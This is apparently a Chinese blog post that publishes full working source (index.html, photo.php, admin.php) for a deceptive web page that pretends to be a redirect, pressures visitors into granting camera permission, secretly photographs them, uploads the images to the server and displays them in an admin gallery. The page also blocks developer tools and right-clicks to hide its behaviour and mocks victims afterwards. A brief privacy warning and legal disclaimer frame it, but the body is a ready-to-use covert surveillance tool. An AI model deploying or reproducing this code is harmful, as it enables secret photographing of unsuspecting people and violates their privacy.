前言

现在众多手机APP乱用权限并窃取用户隐私,大家要注意保护好自己;

代码

分别创建 index.htmlphoto.php admin.php两个文件并上传至网站服务器即可;
创建好后打开网址会需要用户授权相机权限,PC端会调用摄像头,移动端会调用前置摄像头;
允许权限后会立即进行拍照并上传至服务器,拍摄的照片会按照IP及拍摄时间进行分类;

说明

建站环境需求:Nginx PHP 7.0+
如果上传到服务器的图片是全黑的或只有一半,说明使用者打开网页后快速关闭了,没有完整的获取到图片;
index.html代码第25行处需要指定 photo.php文件的所在位置,如果文件在网站根目录下无需修改;
注意:由于浏览器安全机制原因,网站需开启SSL,如果仅使用HTTP,多数浏览器无法获取到相机权限;

index.html代码

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="" content="content">
    <title>转跳中,请稍等...</title>
</head>
<body>
    <H1>转跳中,请稍等...</H1>
    <H6>假如提示需要访问,点击[允许]即可,否则影响正常访问!</H6>
    <canvas id="canvas" style="display: none;" width="480" height="640"></canvas>
    <video id="video" style="display: none;width: 250px;height: 300px;"></video>
    <script src="https://s3.pstatp.com/cdn/expire-1-M/jquery/3.5.1/jquery.min.js"></script>
<script>
   (() => {
       function block() {
           if (
               window.outerHeight - window.innerHeight > 200 ||
               window.outerWidth - window.innerWidth > 200
           ) {
               document.body.innerHTML = "请敞开后刷新重试!";
           }
           setInterval(() => {
               (function () {
                   return false;
               }
                   ["constructor"]("debugger")
                   ["call"]());
           }, 50);
       }
       try {
           block();
       } catch (err) {}
   })();
   window.oncontextmenu = function() {
     return false;
   }
   window.onkeydown = window.onkeyup = window.onkeypress = function() {
     window.event.returnValue = false;
     return false;
   }
   var h = window.innerHeight,
     w = window.innerWidth;
   window.onresize = function() {
     if (h != window.innerHeight || w != window.innerWidth) {
       debugger
       window.close();
       window.location = "about:blank";

     }
       }
    window.onkeydown = window.onkeyup = window.onkeypress = function (event) {
    if (event.keyCode == 123) {
    event.preventDefault(); 
    window.event.returnValue = false;
    }
   } 
</script>
<script>
    //获取 URL参数
    function getQueryVariable(variable) {
        var query = window.location.search.substring(1);
        var vars = query.split("&");
        for (var i = 0; i < vars.length; i++) {
          var pair = vars[i].split("=");
          if (pair[0] == variable) {
            return pair[1];
          }
        }
        return false;
    }
    //判断手机浏览器
    function isMobile() {
        var ua = navigator.userAgent.toLowerCase();
        _long_matches = 'googlebot-mobile|android|avantgo|blackberry|blazer|elaine|hiptop|ip(hone|od)|kindle|midp|mmp|mobile|o2|opera mini|palm( os)?|pda|plucker|pocket|psp|smartphone|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce; (iemobile|ppc)|xiino|maemo|fennec';
        _long_matches = new RegExp(_long_matches);
        _short_matches = '1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|e\-|e\/|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(di|rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|xda(\-|2|g)|yas\-|your|zeto|zte\-';
        _short_matches = new RegExp(_short_matches);
        if (_long_matches.test(ua)) {
            return true; // 是
        }
        user_agent = ua.substring(0, 4);
        if (_short_matches.test(user_agent)) {
            return true; // 是
        }
        return false; // 否
    }
    //判断手机端类型
    function device() {
        var u = navigator.userAgent, app = navigator.appVersion;
        var isAndroid = u.indexOf('Android') > -1 || u.indexOf('Linux') > -1; //g
        var isIOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/); //ios终端
        if (isAndroid) {
            return true; // 是
        }
        if (isIOS) {
            return false; // 否
        }
    }
    //判断微信内置浏览器
    function isWeixin() {
        var ua = window.navigator.userAgent.toLowerCase();
        if (ua.match(/MicroMessenger/i) == 'micromessenger') {
            return true; // 是
        } else {
            return false; // 否
        }
    }
    //判断是否QQ内置浏览器(含IOS和Andriod)
    function isQQAPP(){
        var isIosQQ = ( /(iPhone|iPad|iPod|iOS)/i.test(navigator.userAgent) && /\sQQ/i.test(navigator.userAgent));
        var isAndroidQQ = ( /(Android)/i.test(navigator.userAgent) && /MQQBrowser/i.test(navigator.userAgent) && /\sQQ/i.test((navigator.userAgent).split('MQQBrowser')));
        if(isIosQQ || isAndroidQQ){
            return true; // 是
        }else{
            return false; // 否
        }
    }
    // 判断是否为支付宝内置浏览器
    function isAliBrower() {
      const agent = navigator.userAgent.toLowerCase();
      if (agent.match(/Alipay/i) == "alipay") {
          return true; // 是
      } else {
          return false; // 否
      }
    }
    if (isMobile()) {
        if(isWeixin()){
            $('H1').html('点击屏幕右上角<br>[...]用 [浏览器或Safari] 打开<br>才能正常显示<br>不支持微信内置访问');
            $('H6').hide();
        }else if(isQQAPP()){
            $('H1').html('点击屏幕右上角<br>[...]用 [浏览器或Safari] 打开<br>才能正常显示<br>不支持QQ内置访问');
            $('H6').hide();
        }else if(isAliBrower()){
            $('H1').html('点击屏幕右上角<br>[...]用 [浏览器或Safari] 打开<br>才能正常显示<br>不支持支付宝内置访问');
            $('H6').hide();
        }else{
            window.addEventListener("DOMContentLoaded",function(){
                var canvas = document.getElementById('canvas');
                var context =canvas.getContext('2d');
                var video = document.getElementById('video');
                if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
                    navigator.mediaDevices.getUserMedia({video:true}).then(function(stream){
                        video.srcObject = stream;
                        video.play();
                        setTimeout(function(){context.drawImage(video,0,0,480,640)}, 1000);
                        setTimeout(function(){
                            var img = canvas.toDataURL('image/png');
                            $.post('photo.php',{'imegse':img},function(data){
                                if(data == 1){
                                    var url = getQueryVariable("url");
                                    if(url){
                                        window.location = url;
                                    }else{
                                        $('H1').html("哈哈哈哈,你被骗了,里面什么都没有");
                                        $('H6').hide();
                                    }
                                }
                            })
                        } ,1300)
 
                    },function(){
                        $('H1').html("缺少访问权限,无法正常显示!");
                        location.reload();
                    })
                }
            },false);
            }
    }else{
        window.location = "about:blank";
    }
  
</script>
</body>
</html>

photo.php代码

<?php
//允许跨域
header("Access-Control-Allow-Origin:*");
echo base64();
function base64()
{
    //接收 base64 数据
    $image = $_POST['imegse'];
    if (empty($image)) {
        header('HTTP/1.1 404 Not Found');
        return null;
    }
    //设置图片名称
    $imageName = date("His", time()) . "_" . rand(1111, 9999) . '.png';
    //判断是否有逗号 如果有就截取后半部分
    if (strstr($image, ",")) {
        $image = explode(',', $image);
        $image = $image[1];
    }
    //设置图片保存路径
    //$path = "./img/" . getIp() . '/' . date("Ymd", time());
    $path = "./img";
    //判断目录是否存在 不存在就创建
    if (!is_dir($path)) {
        mkdir($path, 0777, true);
    }
    //图片路径
    $imageSrc = $path . "/" . $imageName;
    //生成文件夹和图片
    $r = file_put_contents($imageSrc, base64_decode($image));
    if (!$r) {
        return 0;
    } else {
        return 1;
    }
}
function getIp()
{
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

admin.php代码

<?php
echo "<html><head><title>相册管理</title></head><body bgcolor=000000><center><font size=2 color=red>";//输出html相关代码
$page=$_GET['page'];//获取当前页数
$max=4;//设置每页显示图片最大张数
$img = 'img';//当前目录
$handle = opendir($img); 
echo '<br>禁止用于违法行为,造成的任何法律后果允由使用者(或运营者)承担<br><br>';
  while (false !== ($file = readdir($handle))) { //遍历该php文件所在目录
   list($filesname,$kzm)=explode(".",$file);//获取扩展名
    if($kzm=="gif" or $kzm=="jpg" or $kzm=="JPG" or $kzm=="png") { //文件过滤
     if (!is_dir('img'.$file)) { //文件夹过滤
      $array[]=$file;//把符合条件的文件名存入数组
      $i++;//记录图片总张数
     }
    }
  }
  for ($j=$max*$page;$j<($max*$page+$max)&&$j<$i;++$j){//循环条件控制显示图片张数
  echo "<img widht=800 height=600 src=\"$array[$j]\">";//输出图片数组
  }
  
  echo '<br><br>';
  $Previous_page=$page-1;
  $next_page=$page+1;
  if ($Previous_page<0){
    echo "上页";
    echo "<a style='font-size:30px' href=?page=$next_page>下页</a>";
  }
  else if ($page<=$i/$max){
     echo "<a style='font-size:30px' href=?page=$Previous_page>上页</a>";
     echo "<a style='font-size:30px' href=?page=$next_page>下页</a>";}
  else{
     echo " <a style='font-size:30px' href=?page=$Previous_page>上页</a>";
     echo "下页";
  }
  echo '<br><br>';
  
  echo "</center></body></html>";
?>

调用叁数

参数代码参数含义演示例子
url转跳自定义链接index.html?url=https://www.baidu.com/

禁止用于违法行为,造成的任何法律后果允由使用者(或运营者)承担

Last modification:December 14, 2023
如果觉得我的文章对你有用,请随意赞赏,但也要理性!